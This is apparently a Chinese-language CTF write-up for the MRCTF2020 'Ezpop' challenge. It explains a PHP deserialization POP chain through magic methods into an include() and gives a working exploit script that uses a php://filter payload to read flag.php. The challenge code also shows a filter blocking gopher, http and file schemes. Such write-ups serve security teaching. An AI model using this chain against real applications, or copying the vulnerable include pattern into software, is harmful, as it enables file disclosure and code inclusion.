[MRCTF2020]Ezpop.md

[MRCTF2020]Ezpop

知识点

php反序列化

preg_replace调用__toString

解题

<?php

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

魔术方法__invoke被自动调用的条件是类被当成一个函数被调用，故接着来寻找和函数调用有关的代码。Test类中的__get()方法可以调用

public function __get($key){
    $function = $this->p;
    return $function();
}

__get方法又需要访问类中不存在的变量时调用，那就需要寻找和调用属性相关的代码。Show类中的__toString()方法可以调用

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

魔术方法__toString在类被当做一个字符串处理时会被自动调用，在魔术方法__wakeup则将属性source传入正则匹配函数preg_match()，在这个函数中source属性就被当做字符串处理。最终这个魔术方法__wakeup又在类被反序列化时自动调用

反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)

exp

<?php

class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$a = new Show();
$b = new Show();
$b->str = new Test();
$b->str->p = new Modifier();
$a->source = $b;

echo serialize($a);
echo urlencode(serialize($a));